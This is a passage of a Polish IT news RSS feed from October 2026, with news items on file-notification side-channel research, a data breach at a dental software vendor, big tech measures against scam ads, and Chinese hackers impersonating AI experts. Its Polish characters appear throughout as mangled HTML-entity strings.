Badacze wykazali jednak, and#380;e informacje te mogand#261; byand#263; wykorzystywane do atakand#243;w typu side-channel (ataki bocznego kanaand#322;u) i staand#263; siand#281; and#378;rand#243;dand#322;em danych o dziaand#322;aniach uand#380;ytkownika. W okreand#347;lonych sytuacjach dostand#281;p do takich powiadomieand#324; moand#380;e uzyskaand#263; inna aplikacja albo inny uand#380;ytkownik, nawet bez uprawnieand#324; administratora.
Nie oznacza to, and#380;e napastnik jest w stanie po prostu odczytaand#263; zawartoand#347;and#263; chronionych plikand#243;w. Moand#380;e jednak zobaczyand#263; ich nazwy oraz szczegand#243;and#322;owe informacje o tym, kiedy sand#261; tworzone, zmieniane lub otwierane. Zdaniem autorand#243;w to wystarcza, by wyciand#261;gaand#263; wnioski o zachowaniu uand#380;ytkownika.
Na przykand#322;adzie Windowsa naukowcy pokazali, and#380;e ograniczenia dostand#281;pu do konkretnych folderand#243;w (katalogand#243;w) moand#380;na czand#281;and#347;ciowo ominand#261;and#263;, obserwujand#261;c powiadomienia z folderu znajdujand#261;cego siand#281; poziom wyand#380;ej w strukturze plikand#243;w. Czyli monitorujand#261;c gand#322;and#243;wny katalog C:, mogli and#347;ledziand#263; zdarzenia zachodzand#261;ce takand#380;e w jego podfolderach, w tym nazwy plikand#243;w.
Ma to znaczenie w przypadku przegland#261;darek internetowych, np. Firefoxa, ktand#243;ry tworzy osobne foldery dla niektand#243;rych odwiedzanych stron, oznaczajand#261;c je nazwand#261; danej witryny. Dziand#281;ki temu badacze mogli na bieand#380;and#261;co sprawdzaand#263;, jakie strony odwiedzaand#322; uand#380;ytkownik.



















Z kolei na Linuksie wykorzystali system powiadomieand#324; o plikach zwany inotify. Najpierw prand#243;bowali za jego pomocand#261; monitorowaand#263; chroniony plik, ale okazaand#322;o siand#281; to niemoand#380;liwe. Plik znajdowaand#322; siand#281; jednak w katalogu, do ktand#243;rego mieli dostand#281;p. Dziand#281;ki temu mogli go obserwowaand#263; i wykrywaand#263; kaand#380;de naciand#347;niand#281;cie klawisza.
Choand#263; nie widzieli, o ktand#243;re konkretnie klawisze chodziand#322;o, mogli mierzyand#263; odstand#281;py czasu miand#281;dzy kolejnymi uderzeniami w klawiaturand#281;. Jak napisali w publikacji, takie informacje rand#243;wnieand#380; sand#261; cenne, poniewaand#380; od lat istniejand#261; techniki pozwalajand#261;ce na podstawie rytmu pisania wyciand#261;gaand#263; wnioski o tworzonej treand#347;ci.
Jeszcze powaand#380;niejszand#261; lukand#281; naukowcy wykryli w KDE Plasma, czyli jednym ze and#347;rodowisk graficznych Linuksa. Monitorowali tam aktywnoand#347;and#263; programu odpowiedzialnego za sprawdzanie uprawnieand#324; (polkit). Gdy system wyand#347;wietlaand#322; prawdziwe okno z proand#347;band#261; o podanie hasand#322;a, badacze byli w stanie niemal natychmiast naand#322;oand#380;yand#263; na nie wand#322;asne, bardzo podobne okno. Gdy uand#380;ytkownik wprowadzaand#322; do niego hasand#322;o, byand#322;o ono automatycznie przekazywane napastnikowi.
Podobny atak byand#322; moand#380;liwy rand#243;wnieand#380; przy uand#380;yciu Waylanda, stosowanego w Linuksie nowoczesnego systemu obsand#322;ugujand#261;cego wyand#347;wietlanie okien i komunikacjand#281; miand#281;dzy aplikacjami.





Problem wykryto takand#380;e w urzand#261;dzeniach opartych na Androidzie. System ten korzysta z mechanizmu FUSE, ktand#243;ry ma izolowaand#263; poszczegand#243;lne aplikacje, uniemoand#380;liwiajand#261;c im wzajemny dostand#281;p do swoich danych i folderand#243;w. Badacze pokazali jednak, and#380;e nawet program bez specjalnych uprawnieand#324; moand#380;e, korzystajand#261;c z powiadomieand#324; o plikach, and#347;ledziand#263; zmiany zachodzand#261;ce w zasobach naleand#380;and#261;cych do innej aplikacji. Np. w przypadku WhatsAppa byli w stanie stwierdziand#263;, kiedy pojawiaand#322;y siand#281;, byand#322;y wysyand#322;ane lub usuwane zdjand#281;cia, filmy i inne pliki.
Spoand#347;rand#243;d przeanalizowanych systemand#243;w najmniej informacji ujawniaand#322; macOS. Nie stwierdzono w nim wycieku and#380;adnych prywatnych danych. Jednak naukowcy wykazali, and#380;e takand#380;e za pomocand#261; interfejsu FSEvents, informujand#261;cego o zmianach w systemie plikand#243;w, moand#380;na w ograniczonym zakresie and#347;ledziand#263; czand#281;and#347;and#263; aktywnoand#347;ci uand#380;ytkownika.
Jeszcze przed opublikowaniem badania autorzy poinformowali o swoich ustaleniach twand#243;rcand#243;w Linuksa, KDE, Androida, Windowsa i macOS. We wspand#243;and#322;pracy z zespoand#322;em bezpieczeand#324;stwa Linuksa przygotowano juand#380; poprawki usuwajand#261;ce czand#281;and#347;and#263; wykrytych problemand#243;w.
and#160;
and#160;
and#378;rodand#322;o PAP 3 paand#378;dziernik 2026 Katarzyna Czechowiczand#160; ]]></description>
		</item><item>
			<title><![CDATA[ 2,4 mln pacjentów zagrożonych. Atak na dostawcę oprogramowania dla dentystów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1764</link>
			<description><![CDATA[ Dostawca oprogramowania dla gabinetand#243;w stomatologicznych FELG Software padand#322; ofiarand#261; ataku cybernetycznego. Z informacji opublikowanych przez serwisy Sekurak i Niebezpiecznik wynika, and#380;e przestand#281;pcy uzyskali dostand#281;p do bazy danych uand#380;ywanej m.in. w serwisie felgdent.com.
and#160;




and#160;

fot. Chor muang / /and#160;Shutterstock


and#160;
Za atak odpowiada grupa and#8222;Horusand#8221;, ktand#243;ra twierdzi, and#380;e pozyskaand#322;a dane 2,4 miliona pacjentand#243;w, w tym ich numery PESEL, imiona, nazwiska, adresy, numery telefonand#243;w oraz dane przypisanych gabinetand#243;w. W rand#281;ce hakerand#243;w miaand#322;y trafiand#263; rand#243;wnieand#380; 1,2 miliona recept, dokumentacja medyczna, zwolnienia e-ZLA oraz dane z systemu eWUand#346;. Zarzand#261;d FELG Software potwierdziand#322; sam fakt incydentu, jednak szacuje jego skaland#281; na okoand#322;o 2 miliony rekordand#243;w dotyczand#261;cych pacjentand#243;w, zaznaczajand#261;c, and#380;e liczba ta nie musi oznaczaand#263; unikalnej liczby osand#243;b.



and#160;



Wedand#322;ug relacji hakerand#243;w, do wdarcia siand#281; do systemu wykorzystano prostand#261; podatnoand#347;and#263; typu IDOR poand#322;and#261;czonand#261; z uprawnieniami konta demo, co pozwoliand#322;o na pobieranie dokumentand#243;w po ich numerach ID. Firma FELG oand#347;wiadczyand#322;a, and#380;e zidentyfikowaand#322;a juand#380; sposand#243;b przeprowadzenia ataku, zawiadomiand#322;a Prokuraturand#281; oraz UODO i dostarczy gabinetom stomatologicznym narzand#281;dzia do powiadamiania pacjentand#243;w. Poniewaand#380; przestand#281;pcy nie otrzymali and#380;and#261;danego okupu, zapowiedzieli sprzedaand#380; wykradzionej bazy za... 100 000 zand#322;.
and#160;
W wiadomoand#347;ci przesand#322;anej do wspominanych portali hakerzy napisali takand#380;e:

Wielu z lekarzy z specializacja stomatologiczna wystawialo recepty na leki psychtropowe/stymulanty jesli chcecie otrzymac ich liste i co przepisywali prosimy o kontakt udostepnimy te dane zeby mozna bylo pozbyc sie pseudo lekarzy ktorzy doprowadzaja do smierci ludzi.

W zwiand#261;zku z wyciekiem danych osobowych i medycznych, pacjentom zaleca siand#281; zachowanie szczegand#243;lnej ostroand#380;noand#347;ci, w tym prewencyjne zastrzeand#380;enie numeru PESEL w aplikacji mObywatel oraz zwracanie uwagi na potencjalne prand#243;by wyand#322;udzeand#324;.

W ostatnich dniach doszand#322;o takand#380;e do ataku na Centrum Medyczne Enel-Med. W poand#322;owie sierpnia miaand#322; miejsce najwiand#281;kszy jak do tej pory wyciek danych z firmy MyDr, w wyniku ktand#243;rego hakerzy pozyskali ponad 2 TB plikand#243;w, zawierajand#261;ce dane blisko 19 mln Polakand#243;w.
and#160;
and#160;
and#378;rodand#322;o Bankier.pl and#160;1 paand#378;dziernik 2026and#160; Oprac. JM

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Co platformy cyfrowe robią, żeby zwalczać oszustwa ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1763</link>
			<description><![CDATA[ Meta w ubiegand#322;ym roku usunand#281;and#322;a na and#347;wiecie 159 mln reklam scamowych, Google 602 mln. Tyle and#380;e te liczby nic w zasadzie nie znaczand#261;. Faand#322;szywe reklamy zalewajand#261; internet i coraz pilniejsze jest pytanie nie o to, czy platformy walczand#261; ze scamem, lecz czy robiand#261; wystarczajand#261;co duand#380;o, and#380;eby ochroniand#263; uand#380;ytkownikand#243;w. I kto powinien zapand#322;aciand#263;, gdy ich zabezpieczenia zawiodand#261;.
and#160;




and#160;

/and#160;Shutterstock


and#160;
W Polsce toczy siand#281; gorand#261;ca debata o odpowiedzialnoand#347;ci platform cyfrowych za szkodliwe dla uand#380;ytkownikand#243;w materiaand#322;y zamieszczane w mediach spoand#322;ecznoand#347;ciowych i w internecie. Ma ona jednostronny charakter and#8212; aktywna jest strona oskarand#380;ajand#261;ca big techy o bezczynnoand#347;and#263; w sprawie, ktand#243;rej rzecznikiem staand#322; siand#281; Rafaand#322; Brzoska, szef InPostu. Amerykaand#324;skie korporacje milczand#261; albo komunikujand#261; siand#281; przez oand#347;wiadczenia. Sprowadzajand#261; siand#281; one stwierdzeand#324;, and#380;e walka ze scamem jest jednym z ich priorytetand#243;w.
Zapytaliand#347;my big techy, co konkretnie robiand#261;, and#380;eby powstrzymaand#263; faland#281; oszustw w internecie. Odpowiedziaand#322;y tylko Meta i Google.
and#160;
Meta: najpierw nie wpuand#347;ciand#263; reklamy
Meta przekonuje, and#380;e najskuteczniejsza walka ze scamem zaczyna siand#281;, zanim uand#380;ytkownik w ogand#243;le zobaczy reklamand#281;. Od lipca 2025 r. do czerwca 2026 firma usunand#281;and#322;a w Polsce 137 tys. reklam o charakterze oszukaand#324;czym, a ponad 88 proc. z nich wykryand#322;a, zanim ktokolwiek zdand#261;and#380;yand#322; je zgand#322;osiand#263;.
Firma podkreand#347;la teand#380; inny wskaand#378;nik: miand#281;dzy lipcem 2024 r. a czerwcem 2026 liczba zgand#322;oszeand#324; takich reklam w przeliczeniu na ich wyand#347;wietlenia miaand#322;a w Polsce spaand#347;and#263; o 83 proc.



Teraz chce przesunand#261;and#263; zabezpieczenia jeszcze bliand#380;ej poczand#261;tku procesu. W Polsce wdroand#380;yand#322;a system AI przeznaczony do wykrywania reklam podszywajand#261;cych siand#281; pod osoby publiczne. Wedand#322;ug Mety wychwytuje on i usuwa o 50 proc. wiand#281;cej takich materiaand#322;and#243;w niand#380; wczeand#347;niejsze rozwiand#261;zanie. Polska znalazand#322;a siand#281; w pierwszej grupie europejskich rynkand#243;w objand#281;tych tym wdroand#380;eniem.
Jeszcze wczeand#347;niej ma dziaand#322;aand#263; weryfikacja samych reklamodawcand#243;w. Meta zapowiedziaand#322;a, and#380;e obejmie niand#261; wszystkich reklamodawcand#243;w usand#322;ug finansowych kierujand#261;cych kampanie do odbiorcand#243;w w Polsce. Globalny cel jest szerszy: do koand#324;ca 2026 r. 90 proc. przychodand#243;w reklamowych firmy ma pochodziand#263; od zweryfikowanych reklamodawcand#243;w. W 2025 r. byand#322;o to 70 proc.
Jeand#347;li oszukaand#324;cza treand#347;and#263; mimo wszystko przejdzie przez te bariery, kolejne zabezpieczenia majand#261; dziaand#322;aand#263; juand#380; po stronie uand#380;ytkownika. Na Facebooku i Instagramie funkcjonuje Centrum Ochrony przed Oszustwami. Meta AI moand#380;e pomand#243;c odnaleand#378;and#263; reklamand#281;, profil lub innand#261; treand#347;and#263; na podstawie ostatnich interakcji and#8212; np. wtedy, gdy uand#380;ytkownik dopiero po kilku dniach zorientuje siand#281;, and#380;e miaand#322; do czynienia z oszustwem.
Firma wzmacnia teand#380; ochronand#281; poza systemem reklamowym. WhatsApp ostrzega przed podejrzanymi prand#243;bami podand#322;and#261;czenia konta do innego urzand#261;dzenia, a Facebook przed podejrzanymi zaproszeniami do znajomych.
Skala automatycznego filtrowania jest ogromna. W 2025 r. Meta globalnie usunand#281;and#322;a ponad 159 mln reklam scamowych, z czego 92 proc. przed zgand#322;oszeniem przez uand#380;ytkownikand#243;w. Zlikwidowaand#322;a rand#243;wnieand#380; 10,9 mln kont na Facebooku i Instagramie powiand#261;zanych wedand#322;ug niej z przestand#281;pczymi centrami oszustw.
Te liczby pokazujand#261; skaland#281; dziaand#322;ania zabezpieczeand#324;, ale jednoczeand#347;nie skaland#281; samego problemu.
Meta nie odpowiedziaand#322;a and#8222;Pulsowi Biznesuand#8221; na pytanie, jaki model prawnej odpowiedzialnoand#347;ci platform uwaand#380;a za wand#322;aand#347;ciwy. Odrzuca natomiast zarzut, and#380;e toleruje oszustwa, argumentujand#261;c, and#380;e scam podkopuje zaufanie uand#380;ytkownikand#243;w, na ktand#243;rym opiera siand#281; jej biznes.  
Google: sprawdziand#263;, kto pand#322;aci za reklamand#281;
Google obraand#322; podobny kierunek and#8212; zanim system zacznie analizowaand#263; samand#261; reklamand#281;, chce wiedzieand#263;, kto jand#261; kupuje. W czerwcu firma zapowiedziaand#322;a rozszerzenie programu Financial Services Verification na wszystkie paand#324;stwa Unii Europejskiej i Europejskiego Obszaru Gospodarczego. Program objand#261;and#322; 24 kolejne kraje, w tym Polskand#281;.





W praktyce reklamodawca oferujand#261;cy okreand#347;lone usand#322;ugi finansowe moand#380;e zostaand#263; zobowiand#261;zany do przedstawienia informacji pozwalajand#261;cych sprawdziand#263; jego dziaand#322;alnoand#347;and#263; w oficjalnych rejestrach. Jeand#380;eli nie przejdzie wymaganej weryfikacji, reklamy nie zostanand#261; wyemitowane.
To kolejna warstwa istniejand#261;cego juand#380; systemu identyfikacji reklamodawcand#243;w. Wedand#322;ug Googleand#8217;a obejmuje on podmioty odpowiadajand#261;ce za ponad 98 proc. reklam ogland#261;danych przez uand#380;ytkownikand#243;w w Unii Europejskiej.
Druga linia obrony dziaand#322;a juand#380; wewnand#261;trz systemu reklamowego. Tu kluczowand#261; roland#281; odgrywa automatyzacja. W 2025 r. Google globalnie zablokowaand#322; lub usunand#261;and#322; ponad 8,3 mld reklam i zawiesiand#322; 24,9 mln kont reklamodawcand#243;w. Z oszustwami zwiand#261;zanych byand#322;o 602 mln reklam i 4 mln kont. Firma deklaruje, and#380;e ponad 99 proc. reklam naruszajand#261;cych zasady zatrzymuje, zanim zostanand#261; wyemitowane.
and#379;eby oszuand#347;ci nie mogli and#322;atwo obchodziand#263; filtrand#243;w, Google odchodzi od prostego sprawdzania sand#322;and#243;w czy fraz. Modele oparte na Gemini analizujand#261; m.in. wiek konta, jego zachowanie i wzorce caand#322;ej kampanii. Majand#261; dziand#281;ki temu wychwytywaand#263; rand#243;wnieand#380; reklamy celowo konstruowane tak, by wygland#261;daand#322;y niewinnie dla wczeand#347;niejszych systemand#243;w kontroli.





Na reklamie ochrona siand#281; nie koand#324;czy. Gmail ma zatrzymywaand#263; ponad 99,9 proc. spamu, phishingu i zand#322;oand#347;liwego oprogramowania, Chrome wykrywa niebezpieczne strony w czasie rzeczywistym, a wyszukiwarka filtruje setki milionand#243;w stron spamowych dziennie. W obu przypadkach logika jest podobna: najpierw sprawdziand#263;, kto chce kupiand#263; reklamand#281;, pand#243;and#378;niej oceniand#263; samand#261; kampaniand#281;, a nastand#281;pnie prand#243;bowaand#263; zatrzymaand#263; oszustwo na kolejnych etapach kontaktu z uand#380;ytkownikiem. Problem w tym, and#380;e mimo coraz gand#281;stszej sieci zabezpieczeand#324; scamy nadal siand#281; przez niand#261; przedostajand#261;.  
Pytanie, czy to wystarcza
Skala zabezpieczeand#324; technicznych nie koand#324;czy sporu o odpowiedzialnoand#347;and#263;. Fundacja Instrat opublikowaand#322;a we wrzeand#347;niu analizand#281; poand#347;wiand#281;conand#261; oszukaand#324;czym reklamom na platformach Mety. Jej autorzy szacujand#261;, and#380;e takie reklamy mogand#322;y odpowiadaand#263; za okoand#322;o 10,85 proc. wyand#347;wietleand#324;, a przychody z ich emisji mogand#322;y siand#281;gnand#261;and#263; okoand#322;o 2,08 mln zand#322; dziennie, czyli okoand#322;o 760 mln zand#322; rocznie. W odniesieniu do przychodand#243;w Facebook Poland za 2025 r. dawaand#322;oby to okoand#322;o 37 proc.
To estymacja and#8212; autorzy korzystali z prand#243;bkowania i przyjand#281;li m.in. benchmarkowand#261; wartoand#347;and#263; CPM oraz okreand#347;lonand#261; czand#281;stotliwoand#347;and#263; wyand#347;wietlania reklam. Raport opisuje te zaand#322;oand#380;enia i ograniczenia dostand#281;pnych danych.
Meta zdecydowanie zakwestionowaand#322;a metodand#281; analizy. Zarzuca autorom m.in. band#322;and#281;dne zaand#322;oand#380;enia, niewand#322;aand#347;ciwe klasyfikowanie reklam usuniand#281;tych przez platformand#281; i wykorzystanie maand#322;ej prand#243;by do dalszych szacunkand#243;w.




















Jarosand#322;aw Kopeand#263;, wspand#243;and#322;autor raportu i kierownik programu Gospodarka cyfrowa w Fundacji Instrat, uwaand#380;a jednak, and#380;e problem jest szerszy niand#380; spand#243;r o konkretnand#261; kwotand#281;.
and#8212; Meta zarabia na emisji oszukaand#324;czych reklam, wiand#281;c moand#380;e mieand#263; ograniczonand#261; motywacjand#281; do zapobiegania ich emisji and#8212; mand#243;wi Jarosand#322;aw Kopeand#263;.
Jego zdaniem sama liczba reklam usuwanych przez platformand#281; nie jest wystarczajand#261;cym wskaand#378;nikiem skutecznoand#347;ci zabezpieczeand#324;.
and#8212; Takie reklamy nie powinny musieand#263; byand#263; usuwane, bo w ogand#243;le nie powinny nigdy trafiaand#263; na platformy, a Meta nie powinna na nich zarabiaand#263; ani zand#322;otand#243;wki and#8212; mand#243;wi przedstawiciel Instratu.





Wskazuje takand#380;e na roland#281; algorytmand#243;w decydujand#261;cych o dystrybucji przekazu.
and#8212; Meta nie jest neutralnym sand#322;upem ogand#322;oszeniowym. Algorytmy, ktand#243;re rozwija i nad ktand#243;rymi ma peand#322;nand#261; kontroland#281;, decydujand#261; o tym, kiedy i w jakim kontekand#347;cie reklama pokazuje siand#281; uand#380;ytkownikowi. Pomagajand#261; teand#380; dobieraand#263; najbardziej podatne ofiary and#8212; mand#243;wi Jarosand#322;aw Kopeand#263;.  
Ponad 28 tys. reklam bardzo wysokiego ryzyka
Do dyskusji wand#322;and#261;czyand#322; siand#281; Rafaand#322; Brzoska. Uruchomiony w ramach inicjatywy and#8222;150%and#8221; system ScamWatch pobiera reklamy dostand#281;pne w Meta Ad Library i analizuje nie tylko ich obraz i tekst, ale rand#243;wnieand#380; adres docelowy, historiand#281; domeny oraz powiand#261;zania miand#281;dzy reklamami i podmiotami finansujand#261;cymi.
Do 20 wrzeand#347;nia do repozytorium pobrano 2 045 114 reklam, z czego 1 760 358 poddano analizie. 290 829 reklam, czyli 16,5 proc. analizowanych, zaklasyfikowano jako podejrzane. 28 215, czyli 1,6 proc., oceniono jako materiaand#322;y o bardzo wysokim ryzyku.
Nie oznacza to, and#380;e co szand#243;sta reklama wyand#347;wietlana na Facebooku czy Instagramie jest oszustwem. and#8222;Podejrzanaand#8221; jest kategoriand#261; stosowanand#261; przez system ScamWatch w jego wand#322;asnym modelu oceny ryzyka i jest znacznie szersza od kategorii reklam ocenionych przez twand#243;rcand#243;w systemu jako materiaand#322;y bardzo wysokiego ryzyka.
System wyrand#243;and#380;nia 12 kategorii zagroand#380;eand#324;, wand#347;rand#243;d nich podszywanie siand#281; pod marki i instytucje publiczne, oszustwa inwestycyjne, kredytowe i kryptowalutowe, wyand#322;udzanie danych, faand#322;szywe obietnice zdrowotne czy nielegalne aplikacje.
Zdaniem Rafaand#322;a Brzoski fakt, and#380;e takie reklamy nadal trafiajand#261; do uand#380;ytkownikand#243;w, dowodzi, and#380;e obecne mechanizmy nie sand#261; wystarczajand#261;co skuteczne. Wraz z ekspertami zaangaand#380;owanymi w inicjatywand#281; ocenia rand#243;wnieand#380;, and#380;e sposand#243;b dziaand#322;ania repozytorium reklam Mety nie speand#322;nia wymogand#243;w art. 39 DSA. To stanowisko autorand#243;w inicjatywy and#8212; formalne stwierdzenie naruszenia unijnego prawa naleand#380;y do wand#322;aand#347;ciwych organand#243;w.
Badacze Instratu rand#243;wnieand#380; dokumentowali problemy z odwzorowaniem reklam. W jednym z opisanych przypadkand#243;w uand#380;ytkownikowi wyand#347;wietlono reklamand#281; wykorzystujand#261;cand#261; wizerunek biznesmena i prowadzand#261;cand#261; do strony podszywajand#261;cej siand#281; pod Ministerstwo Finansand#243;w, podczas gdy w bibliotece ta sama reklama byand#322;a reprezentowana przez kreacjand#281; urzand#261;dzenia do wyczesywania sierand#347;ci zwierzand#261;t.  
KYC takand#380;e dla platform
Rafaand#322; Brzoska proponuje przeniesienie do and#347;wiata reklamy internetowej mechanizmu znanego z regulacji AML. Platformy byand#322;yby ustawowo zobowiand#261;zane do identyfikacji i weryfikacji podmiotand#243;w kupujand#261;cych reklamy.
Wedand#322;ug tej propozycji portale internetowe emitujand#261;ce reklamy zostaand#322;yby objand#281;te obowiand#261;zkami wynikajand#261;cymi z ustawy o przeciwdziaand#322;aniu praniu pieniand#281;dzy i finansowaniu terroryzmu. Miaand#322;yby stosowaand#263; and#347;rodki bezpieczeand#324;stwa finansowego, w tym procedury KYC (know your customer, czyli poznaj swojego klienta) wobec reklamodawcand#243;w.
W przypadku niedopeand#322;nienia obowiand#261;zku weryfikacji i emisji oszukaand#324;czej reklamy mogand#322;oby zostaand#263; wszczand#281;te postand#281;powanie administracyjne and#8212; w przedstawionej koncepcji prowadzone przykand#322;adowo przez Generalnego Inspektora Informacji Finansowej.
Drugi element to zasada and#8222;150%and#8221;. Kara miaand#322;aby odpowiadaand#263; 150 proc. przychodand#243;w platformy z emisji oszukaand#324;czej reklamy oraz reklam z niand#261; powiand#261;zanych.
and#8212; Wysokoand#347;and#263; administracyjnej kary pieniand#281;and#380;nej wynosiand#322;aby 150 proc. przychodand#243;w portalu z tytuand#322;u emisji tej przestand#281;pczej reklamy, jak rand#243;wnieand#380; reklam powiand#261;zanych and#8212; wyjaand#347;nia Rafaand#322; Brzoska.
Nie chodzi zatem o 150 proc. straty poniesionej przez ofiarand#281;, lecz o odebranie platformie przychodu z kampanii i dodanie sankcji, ktand#243;ra ma spowodowaand#263;, and#380;e dopuszczenie scamu stanie siand#281; ekonomicznie nieopand#322;acalne.
Wedand#322;ug propozycji Rafaand#322;a Brzoski and#347;rodki z takich kar miaand#322;yby trafiaand#263; do Funduszu Edukacji Finansowej i finansowaand#263; zarand#243;wno dziaand#322;ania edukacyjne i prewencyjne, jak teand#380; rekompensowanie szkand#243;d poszkodowanym. Realizacja tej koncepcji wymagaand#322;aby zmian prawnych dotyczand#261;cych and#378;rand#243;deand#322; wpand#322;ywand#243;w funduszu oraz wykorzystania zgromadzonych and#347;rodkand#243;w.
Rafaand#322; Brzoska zwraca teand#380; uwagand#281; na czas potrzebny do reakcji na oszukaand#324;cze kampanie.
and#8212; W erze AI i pracy portali Mety non stop czas reakcji to nawet do 24 godzin, a w tym czasie wiele osand#243;b staje siand#281; ofiarami scamu and#8212; mand#243;wi przedsiand#281;biorca.
Nie naleand#380;y jednak utoand#380;samiaand#263; tej wypowiedzi z innym problemem opisanym przez Instrat and#8212; opand#243;and#378;nieniem w pojawianiu siand#281; reklam w Meta Ad Library. Wedand#322;ug informacji przywoand#322;anych w raporcie moand#380;e ono wynosiand#263; do 24 godzin. Badacze obserwowali przypadki, gdy w tym czasie oszuand#347;ci zmieniali kreacjand#281;, przez co pand#243;and#378;niej w bibliotece widoczna byand#322;a wersja neutralna.
Rafaand#322; Brzoska uwaand#380;a, and#380;e dobrowolna weryfikacja prowadzona przez platformy nie wystarczy.
and#8212; Tylko obowiand#261;zek ustawowy w poand#322;and#261;czeniu z odpowiedzialnoand#347;ciand#261; administracyjnand#261; i skutecznand#261; egzekucjand#261; band#281;dzie dobrym i efektywnym rozwiand#261;zaniem and#8212; mand#243;wi szef InPostu.  
DSA stawia na odpowiedzialnoand#347;and#263; systemowand#261;
W Unii Europejskiej podstawowym instrumentem regulujand#261;cym duand#380;e platformy jest Akt o usand#322;ugach cyfrowych and#8212; DSA. Nie wprowadza on zasady, and#380;e platforma automatycznie pand#322;aci za kaand#380;dand#261; oszukaand#324;czand#261; reklamand#281;, ktand#243;ra przedostanie siand#281; przez jej zabezpieczenia. Nakand#322;ada natomiast na dostawcand#243;w wiele obowiand#261;zkand#243;w, a na najwiand#281;ksze platformy i wyszukiwarki takand#380;e szczegand#243;lne obowiand#261;zki dotyczand#261;ce oceny i ograniczania ryzyka systemowego.
W obszarze reklamy istotny jest art. 39 DSA, ktand#243;ry zobowiand#261;zuje bardzo duand#380;e platformy i wyszukiwarki do prowadzenia publicznego, moand#380;liwego do przeszukiwania repozytorium reklam. Ma ono zawieraand#263; m.in. informacje o treand#347;ci przekazu i podmiocie, w ktand#243;rego imieniu reklama byand#322;a prezentowana.
Za naruszenie obowiand#261;zkand#243;w wynikajand#261;cych z DSA maksymalna kara moand#380;e siand#281;gaand#263; 6 proc. rocznego and#347;wiatowego obrotu dostawcy z poprzedniego roku obrotowego. Nie jest to jednak sankcja naliczana automatycznie za pojedynczand#261; reklamand#281; scamera, lecz kara za naruszenie obowiand#261;zkand#243;w okreand#347;lonych w rozporzand#261;dzeniu.
Instrat uwaand#380;a, and#380;e istniejand#261;ce instrumenty powinny byand#263; egzekwowane znacznie ostrzej.
and#8212; Kary finansowe sand#261; waand#380;ne, ale powinny byand#263; znacznie wyand#380;sze and#8212; mand#243;wi Jarosand#322;aw Kopeand#263;.
Jego zdaniem rand#243;wnie istotne jest zapewnienie niezaleand#380;nym oand#347;rodkom i instytucjom publicznym rzeczywistego dostand#281;pu do wiarygodnych danych umoand#380;liwiajand#261;cych monitorowanie reklam.  
Wyand#347;cig systemand#243;w zabezpieczeand#324;
Meta i Google twierdzand#261;, and#380;e techniczna walka ze scamem szybko siand#281; rozwija. Automatyczne systemy blokujand#261; treand#347;ci przed zgand#322;oszeniem przez uand#380;ytkownikand#243;w, reklamodawcy finansowi sand#261; coraz szerzej weryfikowani, a narzand#281;dzia bezpieczeand#324;stwa zaczynajand#261; obejmowaand#263; takand#380;e faand#322;szywe profile, phishing i komunikatory.
Po drugiej stronie sand#261; jednak oszuand#347;ci korzystajand#261;cy z tych samych moand#380;liwoand#347;ci automatyzacji i generatywnej sztucznej inteligencji. Mogand#261; szybko tworzyand#263; kolejne warianty reklam, zakand#322;adaand#263; konta, zmieniaand#263; domeny, generowaand#263; deepfejki i przenosiand#263; ofiarand#281; miand#281;dzy rand#243;and#380;nymi kanaand#322;ami. Dlatego dyskusja regulacyjna coraz mniej dotyczy samego obowiand#261;zku usuniand#281;cia wykrytego scamu. Spand#243;r przesuwa siand#281; w stronand#281; odpowiedzialnoand#347;ci za zapobieganie.
Rafaand#322; Brzoska chce, aby weryfikacja reklamodawcy staand#322;a siand#281; ustawowym obowiand#261;zkiem zabezpieczonym karami administracyjnymi. Instrat wskazuje, and#380;e skutecznoand#347;ci nie moand#380;na oceniaand#263; wyand#322;and#261;cznie przez liczband#281; usuniand#281;tych reklam, lecz takand#380;e przez to, czy zostaand#322;y one w ogand#243;le dopuszczone do emisji. Meta i Google odpowiadajand#261; rozbudowand#261; wand#322;asnych systemand#243;w prewencji i weryfikacji.
Granica miand#281;dzy dobrowolnym zabezpieczeniem a ustawowym obowiand#261;zkiem staje siand#281; wiand#281;c najwaand#380;niejszym elementem sporu. Technologia ma zatrzymaand#263; scam moand#380;liwie wczeand#347;nie. Prawo ma odpowiedzieand#263; na pytanie, jakich dziaand#322;aand#324; moand#380;na wymagaand#263; od platformy i jakie konsekwencje powinna ponieand#347;and#263;, gdy jej system zawiedzie.
and#160;
and#160;
and#378;rodand#322;o Bankier.pl and#160;1 paand#378;dziernik 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Chińscy hakerzy podszywali się pod ekspertów AI. Chcieli kraść hasła ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1762</link>
			<description><![CDATA[ Chiand#324;scy hakerzy podszywali siand#281; pod amerykaand#324;skich ekspertand#243;w od AI, pracujand#261;cych na uniwersytetach, think tankach i w innych oand#347;rodkach,and#160;aby wykraand#347;and#263; od nich informacje i hasand#322;a and#8212; podaand#322;a w czwartek w swoim raporcie firma zajmujand#261;ca siand#281; cyberbezpieczeand#324;stwem Proofpoint.
and#160;




and#160;

fot. Fotogrin / /and#160;Shutterstock


Amerykaand#324;ska firma Proofpoint oceniand#322;a w raporcie, cytowanym przez agencjand#281; Reutera, and#380;e za prand#243;band#281; cyberkradzieand#380;y odpowiadajand#261; chiand#324;scy hakerzy. Przedsiand#281;biorstwo doszand#322;o do tego wniosku po analizie programu, jakim siand#281; posand#322;ugiwali.
Ta grupa internetowychand#160;zand#322;odziei zostaand#322;a przez Proofpoint okreand#347;lona mianem TA419 i od 2025 roku regularnie podejmowaand#322;a prand#243;by kradzieand#380;y haseand#322; do kont pracownikand#243;w amerykaand#324;skich i japoand#324;skich think tankand#243;w, firm zbrojeniowych, uniwersytetand#243;w i innych instytucji.and#160;and#160;







and#160;




W raporcie Proofpoint opisaand#322;a, and#380;e dziaand#322;ania hakerand#243;w byand#322;y zgodne z celami chiand#324;skiego wywiadu. Ponadto zdaniem tej firmy, przestand#281;pcy bardziej niand#380; samand#261; technologiand#261;, byli zainteresowani ustawodawstwem USA dotyczand#261;cym AI.
